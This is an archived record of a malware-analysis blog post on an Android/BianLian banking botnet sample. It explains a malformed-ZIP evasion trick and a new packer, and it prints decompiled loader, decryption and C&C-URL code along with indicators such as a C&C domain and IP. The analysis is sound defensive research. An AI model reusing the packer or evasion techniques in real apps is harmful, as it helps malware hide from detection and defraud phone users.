{
	"id": "cb22285f-6d94-4b7e-bd57-2fda43d55a90",
	"created_at": "2026-04-06T00:12:03.492508Z",
	"updated_at": "2026-04-10T13:12:12.756291Z",
	"deleted_at": null,
	"sha1_hash": "5d41892048754694b163f494b99f260e02df8bb1",
	"title": "Bad Zip and new Packer for Android/BianLian",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 976478,
	"plain_text": "Bad Zip and new Packer for Android/BianLian\r\nBy @cryptax\r\nPublished: 2024-01-08 · Archived: 2026-04-05 18:15:23 UTC\r\nI got my hands on a new sample of Android/BianLian (sha256:\r\n0070bc10699a982a26f6da48452b8f5e648e1e356a7c1667f393c5c3a1150865 ), a banking botnet I have been tracking\r\nfor months (no, years).\r\nUpdate Jan 8, 2024: Kavanoz now unpacks the sample successfully. We no longer have to patch the APK and\r\nunpack it manually.\r\nPress enter or click to view image in full size\r\nOn December 14, 2023, there are 6 active C\u0026C for Android/BianLian botnet. This is a partial list\r\nwhich shows (1) a known active C\u0026C (“UP”), (2) a new active C\u0026C (“NEW”) and (3) an old C\u0026C\r\nwhich is no longer active.\r\nAttempt to unpack #1\r\nAs most samples are packed nowadays, I directly throw it into Kavanoz to unpack it. Kavanoz complains the\r\nCRC32 of the AndroidManifest.xml is wrong.\r\nPress enter or click to view image in full size\r\nErrors reported by version of Kavanoz mid December 2023. In January 2024, this is fixed.\r\nUpdate: since version 0.0.3, Kavanoz successfully unpacks the sample. There are no longer any Bad\r\nCRC32 warnings (Kavanoz handles them) and the payload is unpacked without effort :)\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 1 of 9\n\n✨ Unpacked succesfully!\r\nPlugin tag : loader.multidex\r\nPlugin description : Unpacker for multidex variants\r\nOutput file : ./external-44d56932.dex\r\nI open ImHex editor, load the zip pattern and check the CRC32 the file claims.\r\nPress enter or click to view image in full size\r\nThe APK says the CRC32 of AndroidManifest.xml is 221989D1.\r\nI unzip the APK manually, and compute the CRC32 of AndroidManifest : 4ec30695 . So, indeed, the CRC32 is\r\nwrong. This is likely to be yet another bad zip technique to evade detection.\r\nAttempt to unpack #2\r\nI fix the zip (ImHex also allows editing of fields) with the expected CRC32 and attempt to run Kavanoz again.\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 2 of 9\n\nKavanoz of mid December 2023 reports the sample is not packed, and therefore it cannot unpack.\r\nKavanoz no longer complains about the ZIP, but is unable to unpack, saying the sample is not packed. Oh? Isn’t\r\nit?\r\nAnalysis of the sample\r\nI load the sample in JEB. The main activity is com.hzmqumevj.qnupqbcrg.MainActivity , and clearly we don’t\r\nhave that code in the bytecode hierarchy. This means the namespace is loaded dynamically at runtime somehow.\r\nSo, it’s packed (or at least, that’s what I call packing).\r\ncom.hzmqumevj.qnupqbcrg.MainActivity is not present in the DEX\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 3 of 9\n\nThe Android Manifest reports the Application class klk.nwvnxcw.gesxyrgih.pgsbauk . I decompile the class:\r\nthere is an interesting method, pxel , which takes as parameter com.hzmqumevj.qnupqbcrg.App and\r\nklk.nwvnxcw.gesxyrgih.pgsbauk . Notice the first argument is within the namespace of our expected main\r\nactivity, and the second argument is in the Application class.\r\npublic class pgsbauk extends Application {\r\n @Override\r\n protected void attachBaseContext(Context base) {\r\n super.attachBaseContext(base);\r\n new cgbqqwhkhqtc(base).lxdjreiqgeplv();\r\n new qpvubbhox(base).ldvlxapytm();\r\n mfnlxqkiqtucgyv.pxel(this, \"com.hzmqumevj.qnupqbcrg.App\", \"klk.nwvnxcw.gesxyrgih.pgsbauk\");\r\n }\r\nThe decompilation of pxel shows the first namespace is that of a “delegate application” and the other one is the\r\n“stub application” (packer). The classes of the delegate applications are loaded using\r\nloadClass(delegateApplicationName).newInstance , and finally the code uses reflection to call\r\napplication.attach(context0) .\r\npublic static void pxel(Application application, String delegateApplicationName, String stubApplicati\r\n if(!TextUtils.isEmpty(delegateApplicationName) \u0026\u0026 !stubApplicationName.equals(delegateApplica\r\n try {\r\n Context context0 = application.getBaseContext();\r\n Application application1 = (Application)application.getClassLoader().loadClass(delega\r\n mfnlxqkiqtucgyv.kkprarriteomawqqubdh = application1;\r\n afuwsub.dqosdunynxis_invoke(Application.class, application1, new Object[]{context0},\r\n }\r\nSo, this is how the com.hzmqumevj.qnupqbcrg namespace is loaded, but where is the code? We go back to\r\nprevious method ( attachBaseContext ) and inspect the code of cgbqqwhkhqtc(base).lxdjreiqgeplv() . We\r\nimmediately see it is fetching a DEX from the assets/moqls directory. The DEX probably contains the payload.\r\npublic void ldvlxapytm() {\r\n try {\r\n Context context = qpvubbhox.lpqswjix;\r\n String[] arr_s = qpvubbhox.lpqswjix.getAssets().list(\"moqls\");\r\n File file0 = jqlkjyurilcnb.tkqesiyuf(context);\r\n for(int v = 0; v \u003c arr_s.length; ++v) {\r\n String dexName = arr_s[v];\r\n if(dexName.endsWith(\".joi\")) {\r\n File file = new File(file0, dexName);\r\n try {\r\n ecywjikvj.lgqqacadyiwet(context.getAssets().open(\"moqls/\" + dexName), new Fil\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 4 of 9\n\n}\r\n...\r\nThe method which processes the asset file is ecywjikvj.lgqqacadyiwet() . It does some ugly decryption on the\r\nfile:\r\npublic static void lgqqacadyiwet(InputStream input, OutputStream output) throws Exception {\r\n InflaterInputStream is = new InflaterInputStream(input);\r\n InflaterOutputStream os = new InflaterOutputStream(output);\r\n ecywjikvj.nbfp(is, os);\r\n os.close();\r\n is.close();\r\n }\r\n private static void nbfp(InputStream inputStream, OutputStream outputStream) throws Exception {\r\n char[] arr_c = \"\\u6368\\uBE91\\u621A\\uE684\\u8073\\u8E16\\u66E1\\u3495\\u8E9A\\uDAFD\\uFD83\\uD08E\".toC\r\n int[] iArr = {arr_c[0] | arr_c[1] \u003c\u003c 16, arr_c[3] \u003c\u003c 16 | arr_c[2], arr_c[5] \u003c\u003c 16 | arr_c[4\r\n int[] iArr2 = {arr_c[9] \u003c\u003c 16 | arr_c[8], arr_c[10] | arr_c[11] \u003c\u003c 16};\r\n int[] iArr = ecywjikvj.ghbbwx(iArr);\r\n byte[] bArr = new byte[0x2000];\r\n int i3 = 0;\r\n while(true) {\r\n int v1 = inputStream.read(bArr);\r\n if(v1 \u003c 0) {\r\n return;\r\n }\r\n for(int i5 = 0; i3 \u003c i3 + v1; ++i5) {\r\n if(i3 % 8 == 0) {\r\n ecywjikvj.bcvy(iArr, iArr2);\r\n }\r\n bArr[i5] = (byte)(((byte)(iArr2[i3 % 8 / 4] \u003e\u003e i3 % 4 * 8)) ^ bArr[i5]);\r\n ++i3;\r\n }\r\n outputStream.write(bArr, 0, v1);\r\n }\r\n }\r\nUnpacking with the help of Medusa\r\nWe know that an asset file inside the directory moqls is decrypted and dumped in a file with .joi extension. If\r\nyou attempt to install the malware on an emulator, run it and hope to get the payload .joi file, you’ll be\r\ndisappointed because the file is not there: it’s common that packers delete such files so as not to help the malware\r\nanalyst too much 😁\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 5 of 9\n\nGet @cryptax’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nRemember me for faster sign in\r\nSo, we have two solutions: (a) implement a static unpacker from the code ecywjikvj.lgqqacadyiwet() , (b) use\r\nMedusa to prevent deletion of the file. Both solutions are valid: the first one is the best (from a malware analyst’s\r\nperspective), the second one is the quickest. Today, I’m a hurry and use option b (usually though, I always prefer\r\nstatic approaches!).\r\nIn Medusa, I select module file_system/prevent_delete ( use file_system/prevent_delete and then\r\ncompile ), and run the malware in an Android emulator with Frida.\r\nPress enter or click to view image in full size\r\nMedusa’s module prevented deletion of oxcsbcc.joi\r\nThen, I retrieve the file from the emulator. Hurray, it’s a DEX!\r\nWe have successfully unpacked the malware!\r\nQuick analysis of the payload\r\nIn the Android emulator, notice the malware is asking the victim to enable accessibility. It also shows a\r\nnotification, claiming to be from the Play Store app and saying you absolutely need to enable accessibility.\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 6 of 9\n\nMalware tries to trick the victim to enable accessibility. Do not do this!\r\nI decompile the DEX in JEB and now happily find com.hzmqumevj.qnupqbcrg.MainActivity .\r\npackage com.hzmqumevj.qnupqbcrg;\r\nimport android.content.Intent;\r\nimport android.os.Bundle;\r\nimport com.hzmqumevj.qnupqbcrg.bot.SdkManagerImpl;\r\nimport com.hzmqumevj.qnupqbcrg.bot.utils.SharedPrefHelper;\r\npublic class MainActivity extends RootMainActivity {\r\nThe class inherits from RootMainActivity that I inspect and see there is some geographic test: the malware will\r\ncrash if run on a phone with Russian or Ukrainian language.\r\n protected void onCreate(Bundle bundle0) {\r\n super.onCreate(bundle0);\r\n Locale locale0 = this.getResources().getConfiguration().locale;\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 7 of 9\n\nif(!locale0.getLanguage().equals(\"ru\") \u0026\u0026 !locale0.getLanguage().equals(\"ua\")) {\r\n try {\r\n if(!SdkManagerImpl.isAllPermissionsGranted(this)) {\r\n goto label_10;\r\n }\r\n ...\r\n label_10:\r\n if(SharedPrefHelper.getFirstRunTime(this) \u003c= 0L) {\r\n SharedPrefHelper.setFirstRunTime(this, System.currentTimeMillis());\r\n }\r\n SDKInitializer.setContext(this.getApplicationContext());\r\n SDKInitializer.init(this.getApplicationContext());\r\n this.finish();\r\n PermissionsActivity.start(this);\r\n return;\r\n }\r\n this.callCrash();\r\n }\r\nI recognize the typical classes of BianLian: SDKInitializer . If we decompile SDKInitializer , we see this\r\nparticular sample implements several malicious modules: SMS, USSD, screen locker, injections, socks5, screen\r\ncast, soundSwitcher. Please refer to my presentation at Virus Bulletin for more information on BianLian.\r\nThe C\u0026C for this sample was hxxp://canbozengelemezdoms.net (no longer responding).\r\n private void loadAdminInfoByGist() {\r\n if(SharedPrefHelper.getAdminPanelUrl(SDKInitializer.getContext()).isEmpty()) {\r\n SharedPrefHelper.setAdminPanelUrl(SDKInitializer.getContext(), \"http://canbozengelemezdom\r\n }\r\n String s = SharedPrefHelper.getAdminPanelUrl(SDKInitializer.getContext()) + \"/api/mirrors\";\r\nThis domain was last seen in September 2023, and VirusTotal tells us its last seen IP address 83.97.73.197.\r\nPress enter or click to view image in full size\r\nWrapping up\r\nThis is a sample of Android/BianLian botnet. The C2 it used to report to is no longer active (but others are).\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 8 of 9\n\nThe sample uses two advanced anti-reversing techniques:\r\n1. An intentionally malformed ZIP, with wrong CRC32 for the Android Manifest.\r\n2. A new packer which loads dynamically the payload via loadClass() which is far less visible than\r\nDexClassLoader .\r\nKavanoz (version of mid December 2023) is usually excellent at unpacking samples, but it was unable to process\r\nthis one. After patching the ZIP issue, it wrongly assumed the sample was not packed although it was. This is now\r\nfixed, and Kavanoz does the work automatically for us :) Medusa helped dynamically recover the payload.\r\n— Cryptax\r\nSource: https://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nhttps://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cryptax.medium.com/bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb"
	],
	"report_names": [
		"bad-zip-and-new-packer-for-android-bianlian-5bdad4b90aeb"
	],
	"threat_actors": [],
	"ts_created_at": 1775434323,
	"ts_updated_at": 1775826732,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/5d41892048754694b163f494b99f260e02df8bb1.pdf",
		"text": "https://archive.orkl.eu/5d41892048754694b163f494b99f260e02df8bb1.txt",
		"img": "https://archive.orkl.eu/5d41892048754694b163f494b99f260e02df8bb1.jpg"
	}
}